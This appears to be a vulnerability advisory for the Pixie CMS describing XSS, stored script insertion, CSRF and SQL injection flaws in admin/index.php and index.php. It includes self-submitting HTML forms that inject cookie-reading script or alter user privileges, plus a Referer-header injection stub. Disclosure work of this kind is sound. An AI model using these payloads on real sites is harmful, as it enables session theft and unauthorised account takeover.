Multiple Vulnerabilities in Pixie

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Pixie which could be exploited to perform cross-site scripting, script insertions and cross-site request forgery attacks.

1. Cross-site scripting (XSS) vulnerability in Pixie
   The vulnerability exists due to input sanitation error in the “keywords” parameter in admin/index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
   Exploitation example:
   <form accept-charset=“UTF-8” action=“http://host/admin/index.php?s=settings&amp;x=site” method=“post” name=“main” >
   <input type=“hidden” name=“sitename” value=“Pixie” />
   <input type=“hidden” name=“url” value=“http://host/” />
   <input type=“hidden” name=“default” value=“blog/” />
   <input type=“hidden” name=“keywords” value=‘key1"><script>alert(document.cookie)</script>’ />
   <input type=“hidden” name=“site_auth” value=“sute author” />
   <input type=“hidden” name=“site_cright” value=“copyright” />
   <input type=“hidden” name=“cleanurls” value=“yes” />
   <input type=“submit” name=“settings_edit” id=“form_addedit_submit” value=“Update” />
   </form>
   <script>
   document.getElementById(‘form_addedit_submit’).click( );
   </script>

2. Script insertion vulnerability in Pixie
   Input passed to the “sysmess” parameter in admin/index.php is not properly sanitized. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when user views the malicious data. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
   Exploitation example:
   <form accept-charset=“UTF-8” action=“http://host/admin/index.php?s=settings&amp;x=pixie” method=“post” name=“main” >
   <input type=“hidden” name=“langu” value=“en-gb” />
   <input type=“hidden” name=“time_zone” value=“+0” />
   <input type=“hidden” name=“dstime” value=“no” />
   <input type=“hidden” name=“dateformat” value=“%Oe %B %Y, %H:%M” />
   <input type=“hidden” name=“rte” value=“1” />
   <input type=“hidden” name=“logs” value=“5” />
   <input type=“hidden” name=“sysmess” value=‘hello message"><script>alert(document.cookie)</script>’ />
   <input type=“submit” name=“settings_edit” id=“form_addedit_submit” value=“Update” />
   </form>
   <script>
   document.getElementById(‘form_addedit_submit’).click( );
   </script>

3. Cross-site request forgery (CSRF) in Pixie
   The vulnerability exists due to insufficient validation of the request origin in admin/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change credentials and privileges of arbitrary users.
   Exploitation examples:
   <form accept-charset=“UTF-8” action=“http://host/admin/index.php?s=settings&amp;amp;x=users” method=“post” name=“main” >
   <input type=“hidden” name=“uname” value=“myusername” />
   <input type=“hidden” name=“realname” value=“My Real Name” />
   <input type=“text” name=“email” value="[email protected]" />
   <input type=“hidden” name=“user_new” value=“Save” />
   <input type=“hidden” name=“privilege” value=“2” />
   </form>
   <script>
   document.main.submit();
   </script>
   <form accept-charset=“UTF-8” action=“http://host/admin/index.php?s=settings&amp;amp;x=users” method=“post” name=“main” >
   <input type=“hidden” name=“uname” value=“test” />
   <input type=“hidden” name=“realname” value=“test name2” />
   <input type=“hidden” name=“email” value="[email protected]" />
   <input type=“submit” name=“user_edit” id=“sbmtit” value=“Update” />
   <input type=“hidden” name=“privilege” value=“2” />
   <input type=“hidden” name=“user_id” value=“2” />
   </form>
   <script>
   document.getElementById(‘sbmtit’).click();
   </script>

4. SQL injection vulnerability in Pixie
   The vulnerability exists due to input sanitation error in the HTTP Referer header in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
   Exploitation example:
   GET / HTTP/1.1
   Referer: http://123’SQL_CODE_HERE

This vulnerability was independently discovered by Justin C. Klein Keane in version 1.01 and it was assigned a CVE number CVE-2009-1066.